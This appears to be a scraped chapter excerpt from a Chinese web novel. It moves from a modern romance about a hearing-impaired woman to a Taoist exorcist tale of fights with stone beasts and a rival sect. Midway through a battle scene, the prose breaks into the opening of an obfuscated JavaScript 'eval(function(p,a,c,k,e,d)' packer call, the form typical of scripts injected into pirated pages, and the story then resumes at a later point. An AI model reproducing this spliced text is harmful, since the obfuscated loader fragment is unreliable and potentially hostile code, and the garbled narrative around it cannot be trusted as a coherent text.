丁年契而不舍的接着说:“今天太晚了,七点二十你要打烊,后天我在屠云山第三个神像前等你。” 像是怕她不去,他又补了一句:“不见不散,你不来我就一直等。” 虞岁捕捉到他话里的另一个信息:“你怎么知道我七点二十打烊?” 丁年看了她一眼,幽幽的说:“你会在上午十点开门……开门之后第一件事是给门口的鸢尾花浇水,顺便喂一喂墙角的流浪猫……下午一点的时候你习惯泡一杯咖啡站在窗边出神,偶尔两点半的时候订一块草莓蛋糕……心情好的时候你会簪一朵雏菊在傍晚的时候用老式留声机听胶片翩翩起舞……心情不好的时候你会听摇滚不停的写贺卡……冬天的时候你五点半就会打烊……下雨天你喜欢包一束花放在窗台上,大部分时候是白色的彼岸花……下雪的时候你会在门口堆一个雪人,还要在雪人的头顶插一朵粉红色 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他一句后天见,她的耳朵就时不时的一阵一阵的响了两天,她觉得这耳鸣应该不是神经性的,应该是心理性的…… 等她如约去到屠云山第三个神像前的时候,有些后悔,谁家好人约人见面约在月老像前呐? 夕阳里,丁年穿一身正装端正的跪在月老面前,虔诚的举着三根香,闭着眼睛不知道在想什么,看到虞岁来,他睁开眼,把燃烧的香插到香炉里面…… 他起身走到虞岁面前,从外套口袋里拿出当年的那封情书。 即使情书的外表已经有些泛黄卷边,她依然一眼认出了这就是当初她没有送出去的情书,不知道如何辗转到了他手里。 虞岁有些暴躁,“你这又是哪一出?” 丁年神色郑重的看向她,一字一句的对她说:“虞岁,你把那个喜欢丁年的虞岁还给我,求你,爱我。” 虞岁就……不知道该做何反应…… 他穿着一身正装,虔诚的跪在月老像前,求她跟他在一起,求她爱他。 这合理么? “丁年,你他妈烦不烦啊,我不用你可怜我?!滚啊!” 其实,这些个日子,虞岁的听力突然极速下降,神经性的失聪就是有些玄乎的问题,即便是最贵的助听器也控制不了听力的突然下降和轰隆隆的耳鸣声…… 所以这一刻,到了一个临界点,她失态了,她摘下耳朵上的助听器,狠狠砸到丁年头上。 助听器带着惯性砸红了丁年的额角,一并红了的还有丁年的眼眶…… 丁年暴躁的一把扯掉领带,“我要强调多少遍?!我他妈不是可怜你,我是心疼你,我他妈还想爱你!我爱你!我他妈从始至终爱的都是你!在你喜欢我之前,我已经偷偷的爱了你很久了,你听明白了么?!” 后面的话虞岁慢慢的听不清了,她的右耳嗡嗡作响,连带着左耳也渐渐听不清,她的世界像是要归于寂静,只能看到丁年的嘴唇开开合合,她蹲下身,捂着耳朵,眼泪一滴一滴的掉落,“够了,闭嘴,你闭嘴!” 丁年顿住了,意识到自己的失控,抬手狠狠给了自己一巴掌,力道之大,震的手掌都有些发麻…… 他缓缓跪在虞岁面前,双手覆在虞岁捂着耳朵的手上,等她情绪稳定一点之后,他轻轻捧起她的脸,温柔的像对待易碎的珍宝一样擦拭着她满是泪痕的脸。 然后,他缓慢又郑重的指了指自己,然后竖起右手拇指,左手手掌在竖着右手拇指后面由上到下滑动一下,又指了指虞岁…… 虞岁看懂了,这是手语中‘我爱你’的手势…… “你什么时候学的手语?”,虞岁的声音有些哽咽。 丁年摇摇头,又给她比了个手势,‘我带你回家’。 有些事,不必让虞岁知道。 比如,这两年,丁年发疯般汲取他不曾涉猎的领域,投资医疗领域,研究临床,研究助听器生产制造……就为了疗愈他带给她的伤; 比如,他拿自己试过了,他的左耳也受损了,不过让他遗憾的是,不是神经性的损伤,所以他永远也体会不到虞岁的感受; 他在她不知道的时间里偷偷为她努力了很久,在她看不到的地方,偷偷关注了她很久。 如果这不算爱,那么就换种说法,她,虞岁,在他丁年的心上,住了很久。 他想要照顾她,治愈她,看她走到未来有光的地方,而他,会一直陪在她身后,陪她站到光里。 身后有影子,才能证明前面有光,而丁年,愿意做虞岁的影子。 后来,在一起后,看她耳朵的情况在慢慢稳定、变好,丁年鼓励她出国进修,重新回到她发光的领域。 “异国恋啊,感情会淡哦…” “你是出国,又不是出殡,我想去随时可以去,不过是一张票的距离,只要终点是到你心里,多远都不是问题。” 虞岁撅撅嘴,开始翻旧账,“丁先生当然不觉得什么,毕竟大学的时候身边就有络绎不绝的各色美人,连研究室门口都能美人在怀……” 丁年蹙眉,做认真思考状,“你说的是眼角有颗泪痣的那个?” “啧,记得真清楚” 看虞岁这样,丁年笑的宠溺,“岁岁,那是我妈。” “少来了,你看伯母需要用那么温柔的眼神?” “我那天没带眼镜。” “嗯?” “我六百度的近视,不带眼镜,看狗都深情。” 看虞岁仍旧是不太信的样子,丁年靠近她,“岁岁,跟我回家吧,我带你见见家里人。” “啊?” “你知道的,我的年纪也不小了……” “停,又整这出” “跟我定下来吧,好么?” “好” 你要爱上一个本身底色就很好的人,他会陪你看世界,而不是将你困于一隅。 喜欢是占有,是将月亮摘下,而爱是守护,是看皓月高悬于世。 你要爱上一个不对你计较的人,不计较得失,不计较常理,会给你偏爱和例外的人。 不计较,也不计算。 因为,爱情不是一道数学题。 5. 丁年,你乱我道心 永棠五年,春和景明,惠风温畅。 虞岁身着素锦道袍,迈入香烟缭绕的道观。 自从继承师傅衣钵以来,一直是卷卷道文,孤灯伴影,构筑起她的岁岁年年。 一道符文飞到她眼前,是她平日里四散到各处的缉引符,用以第一时间得知山下哪处有邪物出没。 虞岁说了句,“引路”,随着缉引符走出山门,“万物玄宗,化!”,只见她手中的朱笔法器瞬间变成巨大的长剑,伏在地面。 虞岁站了上去,扣结手势,口中念念有词:“诛法寻踪,起!” 几个云山雾罩之后,一座黑气森森的庙宇出现在虞岁眼前。 法器稳稳落地,虞岁快速结印,法器重新变回朱笔落到她手中。 她仔细勘察症结所在,稠的化不开的墨色覆盖在庙宇的上方,庙宇的大门紧闭,但门旁左右两侧却立着两尊栩栩如生的石像…… “姑娘小心!” 虞岁微微偏头躲过石像口中突然射出的藜棘镖,后退几步…… 循声望去,不远处有一片花海,开满了三色优昙花,还有些她从未见过的各色娇艳欲滴的花朵穿插其间。 本该是争妍斗艳,春色盎然的景象,此时却被不停涌动的黑雾萦绕,说不出的诡异。 正中间的海棠树下倚靠着一个妖冶的男子,姹紫嫣红与黑雾勾勒出的邪气并没有掩盖住他的钟灵毓秀,反倒把他衬托的好像一只花妖。 颇有些一树梨花压海棠的意境,但他比梨花透净,妍丽更胜海棠数筹。 是遍野黑雾里唯一的一抹纯白,仿佛能映射出人心欲念的纯白。 他的脚边散落着一些藜棘镖,应该是先到一步,处理了门口的机关。 他白色的衣袍褴褛不堪,丝丝血痕隐于其间,被他妖冶的脸衬托着,斑驳血迹反倒像是衣衫上的花纹,因为,第一眼看过去只会注意到他的脸。 此刻他捂着胸口,隔着花海,遥遥的看过来,一双瞳仁剪秋水,眸光灼灼,藏不住的盛意星河。 虞岁手中握着的朱笔适时的闪了一下,灼烧感从掌心蔓延到心上,这是朱笔警醒她莫乱道心的信号…… 虞岁收回视线,仔细打量门前的石像,雕工很是别致,左边的是凿齿,雕的人面长牙;右边的是猰羭,刻的人面马足。是上古时期的两大凶兽,好战且恶,喜欢以人心做食。 “姑娘,我来助你……”,海棠树下的男子挣扎着欲起身…… 虞岁偏头看他一眼,竖起手指在唇边比了个嘘的手势,又点了他一下,示意他闭嘴不要动作。 因为她注意到石像猰羭动了下,这种情况下的石像就像是容器,吸纳了黑雾之后就是活脱脱的邪祟了…… “姑娘小心身后机关暗箭!” “闭嘴!你叫什么?!” 那男子愣了愣,心说危机四伏你还有心思问我的名字,他的脸颊飞起可疑的红晕,“我……我叫丁年。” 虞岁懒得理他,只专注迎对石像。 她目光一凛,侧身闪过猰羭的猛扑……随即反手转正手中朱笔、在空中快速的划出一道召调人马的符箓…… 当符箓的最后一笔落下之时瞬间化作一道光芒、带着毁天灭地的气势射向猰羭…… 猰羭吃痛,低沉又高亢的怒吼一声,周身散发出一股黑色的雾气,那雾气发散开来,竟像是有着腐蚀一切的力量…… 丁年周围本就鬼气森然的花朵树木在这雾气的侵蚀下,迅速枯萎凋零,原本尚有生机的草地也瞬间变得枯黄焦黑。 虞岁不敢大意,快速结印……“奉敕令,借玄武大帝召调符文,金甲力士,现!” 她话音刚落,朱笔吊坠发出一缕金光,金甲力士现形,接收到她的指令和力量,凌空挥舞着巨大的金色战斧冲向猰羭…… 一时间,二者展开了激烈的交锋,打成一团,凭空中生出一股地动山摇、飞沙走石之感。 虞岁一刻不敢停歇,屏息凝神在一旁不断施展术法,协助金甲力士攻击猰羭。 不曾想到,这猰羭实力强大,久战之下,金甲力士逐渐处于下风…… 黑色的雾气裹挟着朱红色的风刮的愈发猛烈,吹得人几乎睁不开眼睛,站立不住,空气中弥漫着浓烈的硝烟和若有似无的血腥气味…… 就在这危急关头,虞岁眼中闪过一丝决绝,发了狠,咬破舌尖,喷出一口鲜血在朱笔之上,朱笔的光芒随即大盛…… 虞岁手指翻飞快速结印,一边驱动朱笔化形成利刃一边急喝: “天地无极,乾坤借法,奉敕令调五雷符罡,斩断臧祟,收斩邪灵,急急如律令,震!” 顷刻,天地间似有一道强大的光芒涌进朱笔,盘旋融合,化作五道金蓝色巨雷从朱笔中射出,直直地劈向猰羭…… 猰羭被五道急雷的光芒笼罩,五雷轰顶,发出阵阵凄厉的哀嚎。 它挣扎着还想要逃脱,却终是无法挣脱,渐渐化作一缕黑烟消散在空中…… 随着猰羭的消失,邪风漫卷骤歇去,笼罩在头顶的乌云逐渐散开。 庙宇各处的花草树木渐渐恢复了清明,四周的环境也重新焕发出生机。 一场恶战结束,虞岁有些疲惫地瘫倒在地,金甲力士也长长的舒了一口气……现在,只剩下凿齿没有解决…… 虞岁索性盘腿坐在地上,调整气息的同时,深邃的目光锁定不远处,那是凿齿可能出没的方向,诡异的氛围昭示着它随时都会卷土重来。 她深知,若不将其彻底铲除,此物要么会变成玩弄权术的工具;要么此地会发展成吞噬行人精血的邪祟聚集处。 无论哪种情况,都将是一场尸殍遍地。 金甲力士也振作精神,紧握手中兵刃,准备与虞岁一同迎接收尾之战。 路旁的草丛中,五颜六色的星域摩罗花竞相盛放,恍若一幅美不胜收的画卷。 丁年静默的看着虞岁,她满脸肃杀之意,一双十指玉纤纤,不是风流物不拈。即便一身素衣,也让他没来由的想到一句诗,芙蓉不及美人妆,水殿风来珠翠香。 忽然,一阵低沉的咆哮声打破了宁静,只见凿齿从树林中猛冲而出,獠牙上沾满红色的涎水、点缀着寒光…… 它冲行出来所过之处,疾驰的劲风带动尘土飞扬,树叶纷纷飘落,厚重的脚掌踏在地上,震得地面微微颤抖,周边的小石子都跳动起来。刚刚还娇艳欲滴的星域摩罗花被它粗暴的碾在脚下,零落成泥。 黄风夹杂着血腥气呼啸着,吹得周围的树枝剧烈摇晃,发出嘎吱嘎吱的声音。 虞岁毫不畏惧,身形如鬼魅般一闪,避开了凿齿那看似笨重却势如雷霆的迅猛扑扯…… 她的衣角被燥风卷的猎猎作响,额头上一滴汗珠顺着脸颊滑落,却大有越战越勇的气势。 丁年藏在树后,调动鬼丹,凝结起脚边散落的藜棘镖掷向凿齿…… 然而结果就很是差强人意了,凿齿的本体是石像,区区藜棘镖打到它身上不亚于棉花碰石头…… 其中一枚还划破了虞岁的衣摆,虞岁就……怒了……她从发间摘下发带,默默念咒,“缚魔索,去!” 她的发带立刻变得鲜活起来,翩翩然飞到丁年身边,把丁年的双手捆了个结结实实,不让他再有动作。 而那凿齿显然比刚刚消弭的猰羭更有脑子,它不疼不代表它能容忍丁年的挑衅,不代表它不愤怒。 所以它立马掉转矛头攻近丁年藏身的海棠花树……自手掌中接二连三的发出带着倒刺的利剑射向丁年…… 毫无章法,主打一个数量,数量多,总有一个会伤到丁年。 其中一支利剑马上就要击中丁年,虞岁来不及掐诀念咒,只能迅速的快步上前…… 千钧一发之际,空手握住了利剑……强劲的冲力让虞岁倒退几步堪堪停住……殷红的血迹瞬间从手掌滑落到地上…… “宵小之辈,岂容你放肆!”,虞岁一声低喝。 手上凝结法力将利剑反向扔到凿齿身上,它也不躲,反正它也不疼。 丁年见状,心头仿若被重物击中,生生死死,飘荡于世,这是第一次,有人不问后果、不讲缘由的护住了他……“姑娘……” 虞岁不作他想,在凿齿将要冲到丁年面前的时候,挥动手中朱笔,凌空画了一道保命护身符…… 口中念念有词:“奉敕令,驱邪缚昧,保命护身,定三魂七魄,加请鬼谷先师坐镇,遣将护法,罩!” 随着虞岁最后一笔落下,一层金色的保护罩将丁年与焦灼的局面隔绝。 “乖乖呆着别动,等我来接你!” “好,我等你”,丁年殷切的站在虞岁身后看着她的背影。 脑海里只有一个念头,虞岁当真是,风华绝代,世无其二。 凿齿还来不及向丁年发动进攻,就被金光护身罩的威力弹的倒退了几步…随即愈发的恼羞成怒,转而对虞岁发动总攻,招式凌厉,招招致命…… 说到底虞岁是以凡人之躯抵挡,终究有些力不从心,金甲力士连忙加入战局,护住虞岁不被凿齿近身攻击…… 金甲力士手中的战斧发出尖锐的呼啸声,几番攻击之下竟也无法伤凿齿分毫,哪怕是浅浅的伤痕也不曾留下…… 虞岁的目光再次仔细扫视了凿齿的周身,心下了然,对着金甲力士高喊:“拖住它,给我争取一点时间!” 金甲力士虚晃一招,攻向凿齿的腿部,双手中各握一把的金色战斧带着凌厉的气势,直逼凿齿的腿部关节。 凿齿愤怒地转身,巨大的尾巴横扫而来,卷袭起一阵劲风,地上的沙石被扫起,迷了人的眼,打在金甲力士的脸上划出几道细小的血痕…… 虞岁趁机飞身跃上凿齿的背部,有些兴奋的孤注一掷,新练的技能槽刚好有机会清空了,她的眼神中尽是嗜血的狂欢…… “言雨帝言,奉北斗星君驱逐邪魔,请镇!化!” 在画符的同时,她十指结印,手上青筋暴起,紧紧握住朱笔,顺势化朱笔为利刃,奋力刺向它脊背处的要害穴位…… 凌空中忽然划过一道闪电,紧接着是一阵沉闷的雷声,蛛网般细密的雨点淅淅沥沥的落下,却只击打在凿齿的身上…… 雨水像有强烈的酸蚀性一样,瞬间便将已经开始变成黑红色的凿齿冲刷得褪色。 凿齿的身体出现龟裂,弥散出阵阵血红色的烟幕,它开始疯狂地扭动着身躯,试图将虞岁甩下来…… 随着凿齿的狂暴颠簸,虞岁顺势换了个牢靠的位置稳稳定住…… 她一只手攥紧朱笔,拼尽全力往凿齿的脊柱间隙狠狠插去,每一下都倾注全身力气,恨不能将笔杆都没入其中; 另一只手如铁钳般死死扣住凿齿颈脖处突兀的骨刺,指节因用力过度而泛白 。 凿齿发出尖锐的低嚎,耳朵的不适让虞岁有种窒息感,胸腔将要承受不住这种冲力。 每一次吸气都像是要将周遭的空气全部卷入肺腑,呼气则伴随着沉重的、撕扯般的喘息,仿佛能听见胸腔里心脏剧烈跳动的轰鸣。 终于,虞岁汇聚起最后一丝气力,爆发出一声怒喝,将朱笔利刃深深锲入,直至笔身完全没入凿齿的要害之处,那薄弱部位瞬间被洞穿 。 凿齿发出一声凄厉的惨叫,身体猛然倒地,慢慢化作一滩黑稠的泥水…… 虞岁卸了力道放任自己滚落到地上,溅起一圈泥水,躺在地上大口大口喘着粗气…… 她的衣衫早已被汗水和血水浸湿,黏腻地贴在身上,狼狈不堪。 四下早已是一片荒芜,空气中满满的血腥与腐朽的气息,虞岁挣扎着站起身来,望着凿齿化作的那滩泥水,心下着实松了一口气。 “姑娘,看看我啊”,丁年急的不行。 虞岁心下腹诽,这个跳脱的性子,白瞎了这张脸。 她挥了下袍袖,罩住丁年的护身罩瞬间消散,丁年忙不迭的向她跑来,在快要碰到虞岁衣角的时候,一板金色战斧横在丁年面前…… 金甲力士瞥了丁年一眼,“小小鬼侠,退!” 虞岁捻了捻手指,“收”,那捆着丁年的发带立刻回到了虞岁手上。 她上下打量了一下丁年,“鬼侠?你生前还有战功?” 丁年清咳一声,“当然,那年我凯旋而归,放马游街,坊间都说我是意气风发少年将,一日看遍长安花,山河万里,皆仰仗于我。” 虞岁不置一词,淡淡的看了他一眼。 丁年从她的眼神里看出了蔑视,他自动忽略,躬身一拜,“姑娘,多谢你今日仗义出手,救命之恩,恩同再造,这份情……” 虞岁用收回的发带缠住手心血流不止的伤口,冷冷的打断他的话:“情?我们有么?救命?你有命么?” 丁年被她的话噎的一顿,也不争辩,只浅笑着说:“总之这份情我记下了,日后自当唯姑娘马首是瞻。” “不必,荡涤邪祟是我道家正义,对你,不过是顺手的事,还有,以你的本事,日后要记住,没有雷霆手段就不要有菩萨心肠”,虞岁说完,转身就走。 丁年追上去扯住她的衣角,“既然如此,姑娘,求你庇护我。” 金甲力士起手就要给他一斧头,虞岁一个眼神扫过去制止他,“有劳力士先去休养生息。” 金甲力士闻言扁了扁嘴,身形一闪化成一道金光冲进虞岁腰间悬挂的朱笔。 虞岁这才回头看着丁年说:“我不是寺里的住持,不会收容孤魂野鬼。” 丁年摇了摇手中扯着的她的衣角,“我有冤情,你们道家不是也会平怨渡化么?” 虞岁玩味的看着他,“渡化?那是佛家的事,我道门,讲究一个,招化。” “招化?” “招安不服,就斩化,没有废话” 丁年笑笑,“我听话,求你收留我。” 虞岁拂开了他拉着衣角的手,从袖中取出一枚路引铭文,注入灵力之后悬于半空中,“这个铭文半个时辰后就会失效,你若是能跟住它,找到我的道观门前,我就留下你。” “一言为定。” “我从不说废话。” “还未请教姑娘芳名?” “虞岁。” “虞岁姑娘,请先一步回去等我”…… 虞岁取下朱笔,念咒施法间,朱笔又化成巨剑模样,衣袂翩飞间乘风而去。 丁年看着她远去,喃喃自语:“众里嫣然通一顾,人间颜色如尘土;秋千水,竹马道,一眼见你万物不及。还好活着的时候读的书多,不然脑袋空空,都无法形容。” 路引铭文在半空中闪了又闪,仿佛十分不满丁年的慢吞吞。 丁年立刻换了一副面孔,再不似在虞岁面前那样人畜无害,他从宽大的袍袖中拿出伏魔袋,把玩在掌心,轻轻施力攥了一下…隔着袋子都能听到里面惨绝人寰的凄厉叫声…… “呵,这种程度都受不得,让我还怎么期待后面的花样?” 这个袋子就是丁年此次来这座庙宇的真实目的,里面装的是当年害他含恨莫白的罪魁祸首。 丁年的故事很短,短的三段笔墨就能总结,却又很长,浓墨重彩也不足以描绘他苍凉的一生。 某种程度来说,丁年是幸运的,他并没有死在战场上,千军万马中厮杀出了一条血路,也为永棠子民厮杀出一条生路; 宗之潇洒美少年,举觞白眼望青天,皎如玉树临风前。 丁年也是不幸的,躲过了明枪暗箭,没有躲过帝王心术,功高震主是最好的诱引,引发出帝王权谋的阴暗面。 高高在上、尚未坐稳根基的帝王,风轻云淡的问他为什么没有如同父兄一般浴血拼杀,死在战场上; 最终被草草定了一个莫须有的罪名,躲不过他舍生忘死护住的子民的口诛笔伐,一抔黄土掩尽灼灼风华。 从此世上再无战神丁年,只剩一块破败的无字碑,一缕孤寂的残魂如坟头的荒草一样随风飘荡。 丁年收回伏魔袋,点了点半空中瑟瑟发抖的路引铭文,跟着它一路找到虞岁的道观前…… 彼时收拾妥当的虞岁正坐在朱案前调息养伤,眼前是朱笔悬空展开的卷轴,是丁年生前的画面: 一个身着福色袍服的少年,明明是有些沉闷、过于端庄的颜色,穿在他身上反而衬得他愈发的贵气逼人。 他纵马游行在喧闹的人群中,好似乘风逐日而来;像炎炎烈日下迎风摇曳的吊灯扶桑花,带着清风的气息和炽阳的温度。 比花艳,比风冽,比骄阳似火。 鲜衣韶华少年郎,驭风怜尽两岸花。 结算章节停留在荒草丛生的一座孤坟上。 虞岁挥手收回朱笔,啧,也算让人唏嘘,一颗将星因人心陨落…… “虞岁姑娘,我来寻你了” 远处传来丁年的声音,虞岁挑了挑眉,来的倒是快。 她从朱案上拿出一张接引符,扔到风中,接引符像是生出翅膀,飞向大门口,不多时,丁年就出现在虞岁面前…… 虞岁抬头看了他一眼,终是没有忍住,驱动朱笔在纸上写写画画,迎风抖了抖,纸上的衣袍掉落在地,“去换上,清净之地不容污秽。” 丁年笑的满脸春色,“这道法甚是讨巧,师傅可否教教我?指点我入您道门?” 虞岁看也不看他一眼,只甩下一句:“一言半句便通玄,何须丹书千万篇?” 丁年也算摸透了点她的脾气,不再废话,乐呵呵的抱着新衣服走向后殿,转身间就变了一副嘴脸,勾唇间满是势在必得,“虞岁,我和你,来日方长。” 从前,虞岁一直是孤灯暗,独处华堂,如今不一样了,丁年无孔不入的渗透到她的四周。 虞岁调息休养,丁年就为她洗手熬参汤; 虞岁画符箓,丁年就在一旁挽袖研墨; 虞岁修习术法,丁年就在一旁有样学样,偶尔气息逆转虞岁还得救他; 虞岁觉得,丁年正用一种温水煮青蛙的方式挤进她古井无波的处境。 某个风吹花瓣纷飞雨的日子,虞岁正在院中练剑,一招一式心无旁骛,一回身就见丁年站在她身后,不知道看了多久。 她心中一动,没有收回招式,剑锋直直的奔着丁年的眉心而去…… 丁年没有动,甚至眉心都没有皱一下,就那样笑吟吟的、眼角眉梢都是柔情的望着她…… 虞岁的剑尖抖了抖,剑锋偏了一分,贴着丁年的鬓边划过,挑下了他簪在鬓角的朱红海棠花。 她回身,海棠花在她的剑尖盛放。 抖了的不止她的剑尖,还有她发颤的心尖。 她手腕翻转,剑尖挑着海棠花扔进丁年微微敞开的衣襟里。 她收回长剑,斜了一眼愈发笑的眼波流转的丁年,“你都是从哪里学的这幅勾栏样式?” 丁年上前一步,意有所指的说:“哪种式样都可以,有用就行。” “以后我练功的时候不要靠近。” “为什么?” “丁年,你乱我道心。” 虞岁说完,转身就走,留下丁年站在原地,抚摸着怀里的海棠花,嘴角的笑容压都压不住。 丁年转身,朝着虞岁渐渐走远的背影扬声问:“我想下山,你有什么想要的么?” 风中传来虞岁清泠的声音,“石榴。” 傍晚的时候,虞岁觉得有些心神不宁,起卜爻卦也没有算出丁年的行踪时,她就知道这是出事了。 虞岁拿好法器刚走出大门口,就见丁年慌慌张张跌跌撞撞的跑回来…… 一见到她,他喷出一口黑血,直直倒进她怀里…… “孽障,还不束手就缚?!”,一道阴沉浑厚的声音从丁年身后传来。 虞岁眯了眯眼,看向声音来源处,是个一身黑袍的老道。 那老道缓缓走到虞岁面前,一甩拂尘,指了指虞岁怀中的丁年,冷声说:“小友,贫道是凌霄山掌事,烦请行个方便,将这孽障交给我处置。” 先称小友,表明辈分,再报名号,点明来路,声明来意,若虞岁不肯,就不只是得罪眼前老道一个人这么简单…… 虞岁既没有接老道的话,也没有放开怀里的丁年,沉默的站在原地…… 丁年轻微的动了动,颤抖着手从胸口的衣襟里拿出一个大大的红透了的石榴,“我特意选了最好看的……” 虞岁深吸了一口气,咬着后槽牙对丁年说:“等会再跟你算账!” 她一只手扶起丁年,另一只手驱动朱笔召唤出金甲力士,“带他走”,她对金甲力士说。 金甲力士看了一眼虞岁,又瞪了一眼丁年,最终什么都没有说,拽着丁年就要离开…… 凌霄山的老道见此情景,冷哼一声:“小友,你一意孤行,可曾想过得罪我凌霄山的后果?” 丁年闻言,脚步顿住,金甲力士手上用力捏了捏他的手臂,“你在这也帮不上忙,那种级别的道士是你一个鬼侠妄想动手的么?收起你的心思就算是帮她的忙了。” 他咬重了心思两个字,丁年觉得,自己一直隐藏的心思,怕是不仅金甲卫,或许虞岁也是知道的……那么她…… 就听虞岁的声音响起,透着几分杀意和寒意:“你动了我的人,又到我的地盘跟我讲后果?谁给你的脸?” 那老道嘬了下牙花子,哼了哼,“当真是后生可畏啊,既然如此,受教了!” 他凝聚术法于拂尘之上,以破空之势将拂尘甩向丁年…… 虞岁手疾眼快的汇灵力于朱笔之上,将拂尘挡了回去,而后话锋一转,“还没请教尊下大名。” “凌霄山,掌事,凌问天!怎么?怕了?” “好好好,凌问天,从此刻起,你的对手是我”,虞岁连声说好,暗自念诀驱动朱笔,快速划出一道结界封住门口…… 然后,快速转身,面对着凌问天,以迅雷不及掩耳之势,左右开弓,重重的给了他两个耳光! 两个耳光打红了他的老脸,打麻了虞岁的手。 虞岁甩了甩手,一字一句的说:“我虞岁,不做没有来由的事,不打没报名号的人!” 凌问天懵了片刻,算来他也是戎马半生,何时受过此等奇耻大辱?他眼中闪过厉色!如今情景,不杀虞岁,不足以泄心头之愤! “黄口小儿!找死!” “要打就打,哪那么多废话!”,虞岁从来不喜欢见招拆招,她向来是先发制人。 ‘奉敕令,道明星君借法,执法严明,清理门口,急急如律令,立!’,虞岁念词,手中朱笔不停,半空中刹时就出现了一个威严的身影,凌厉之极的炸向凌问天…… 接,接不好,就是不敬,欺师灭祖;不接,就等死吧。 看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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但是,很多时候,承认自己的失败简单,承认敌人的优秀很难。 “哼!”,他重重的哼了一声,踉跄着起身,步子有些不稳,跟来时脚下生风的模样大相径庭…… 等凌问天走远,虞岁慢腾腾的站起身,慢腾腾的走进门里,慢腾腾的关紧山门,慢腾腾的走进后殿……也不理身后亦步亦趋跟着她的丁年。 一进入内室,虞岁缓缓的跌坐在地上,一口鲜血从嘴角流下…… 刚刚虞岁如果留了余地,那才是后果不堪设想。 论道过招,一旦被对方看出路数底细就别想活了。 不是你死就是我亡的生死局,不能露任何破绽。 虞岁闭着眼睛稍稍调理了一下内息,声音有些虚弱无力的问丁年:“满意么?在你的谋划之中么?” 丁年心头一紧,她知道!她果然都知道! 含冤枉死,丁年怎么能不恨?! 那伙人,不给他喊冤的机会!不给他生的机会!不给他留下全尸! 甚至,不给他转世的机会! 求生不得,沉冤无门! 上天入地,一点机会都不给他! 他想了很久,游荡了很久,了解到这世间只有虞岁的术法修行在那黑心妖道之上,摸透了虞岁下山的固定模式…… 他想到了一切,唯独没想过虞岁从一开始就看透了自己。 也就是说,她今日的所作所为就是一场清醒的沉沦,想到这,滔天的欣喜将他淹没。 他坐到她面前,哑着嗓子开口:“虞岁,我说不认识你是假的,我一点术法都不懂是假的,我表现出释怀不恨他们了是假的,我伤重的看起来要魂飞魄散是假的,我表现的人畜无害也是假的。但是,我心悦你,是真的,唯有这一项,是真的。” 一阵长久的沉默过后,虞岁睁开眼,看着丁年,她知道,她什么都知道,从一开始就知道,但她认了。 他丁年,是她虞岁的劫数,桃花劫。 她手指轻捻,有赤色符箓从朱案飞到她指尖,她轻轻开口:“丁年,这符箓是我心头血所化,拿着这个,去转世吧,判官殿的陆业是我师祖挚友,他会关照你,愿你来生,一直被光照耀。” 丁年不语,也不接符箓。红着眼眶深深的看着虞岁,“你不信,对么?” 虞岁叹了口气,“眼下的情况,凌霄山不会善罢甘休,我已伤了元气,不足以再庇护你,丁年,到此为止了。” 说完,也不再看他,起身走进暗门。 丁年看着虞岁留下的转世路引,泪流满面。 这算什么?算他活该。 爱不得,求不得,思君即断肠,死局。 暗门里,虞岁握着朱笔,一滴泪无声的落到朱笔之上,朱笔通体的灼热感,烫的她几乎握不住,是了,道心乱了。 她擦掉眼泪,从暗阁里取出师傅留给她的锦囊,这是她老人家给她最后的屏障。 记得师傅弥留之际就说过,岁岁啊,这世间诸法百态,唯有情劫,你躲不过,既躲不过,就坦然接纳。 人若不为形所累,眼前便是大罗天。 虞岁想到了凌霄山是一定会来找回场子的,但也没想到这么快…… 是夜,猩红的弯月悬挂高空,映的漫天的星河都是一片赤红。 山门轰的被震碎,来人恶声恶气的千里传音:“虞岁,出来受死!” 内室里,虞岁换上她受礼那日的衣衫,这是她给自己、给同道中人,最高级的礼遇。 她抚了抚腰间朱笔,浅笑着,“如果我今日不得善终,你也算是功德圆满,可以回到师祖身边了……” 朱笔突然猛烈的震动,像是不满的低吼声阵阵,隐隐可窥其中强大的灵力。 “岁岁”…… 身后传来轻唤,虞岁募然回首,月色下,丁年一步一步向她走来,月色甚美,月下人,亦然。碧桃天上栽和露,不是凡花数。 “不是说让你去转世么?” “岁岁,我怕光,我不能自己站在光里,除非光里有你。” “丁年,你真的,乱我道心” “荣幸之至”…… 说话间凌霄山一众道士已经来到内院,凌问天指着虞岁对为首的道士说:“就是她!” 那道士还算客气,甚至让人觉得他很有礼貌:“道友,你只要把你身后这只鬼交出来,再向问天酙茶认错,这事就算过了,日后你的事,就是我凌霄山的事,如何?” 虞岁嗤笑一声,“凌霄山是什么东西?我师祖是玉壶宫主魏执予,祖师爷是佛道双修的斗战胜佛,我是朱笔的第三代传人,授礼主宾是鸿钧道祖,你们凌霄山奉为圭臬的通天教主是我师祖的追捧者!跟我讲来头,你也配?” 她的话掷地有声,听的凌霄山一干人等萌生退意,毕竟她提的,都不是自己这个级别可以随意冒犯的。 虞岁见他们不说话,个个都是满脸慎重的样子,当下指着丁年说:“他,我不放,茶,我不斟,错,我不认,你们待如何?” 凌问天气的跳脚,“小儿轻狂!” 丁年抬手,凝聚灵力,一簇冰蓝色的火焰现于掌心,精准投掷,冰蓝色的火焰雀跃着卷向凌问天手中的拂尘…… 从前,丁年怕道士毁掉他最后的残魄,现在他不怕了。 君生我已殁,既然不能跟虞岁同生,能葬送在一处,也是他的幸事。 凌问天当即甩出一张符咒罩向丁年,丁年双手汇力,两团火焰呼啸着扑向凌问天…… 那为首的道士看到这幅情景,咬咬牙,“既然你不识好歹,即便是大罗金仙来了,也怨不得我了!” 他一加入战局,身后的一众道士也纷纷下场,丁年瞬间有些应接不暇…… 虞岁见状,驱动朱笔……不知为何,今夜的朱笔威力大增,好像是在引导她……朱笔中金光一闪,竟出现三个金甲力士…… 三个金甲力士一入场,局面瞬间扭转,但是好景不长,凌霄山的道士见到势头不好,立刻后退列阵…… 霎时间巨大的如樊笼般的结界笼罩在半空中,困住了丁年和金甲力士…… 沉重的压迫感让丁年喘不过气来,虞岁赶紧画了个定魄符扔到他手上…… 但是丁年心里明白,这样下去不是办法,他是个累赘……他用虞岁听不到的声音问身边的金甲力士,“有什么是只有我能做的,能帮到岁岁的?” 金甲力士瞪了他一眼,面无表情的说出一句,“丁年祭天,法力无边。” 丁年默了默,仔细琢磨这八个字有什么隐喻。 那边虞岁接连打出三道符,但都收效甚微。 虞岁心里暗骂,有辱师门! 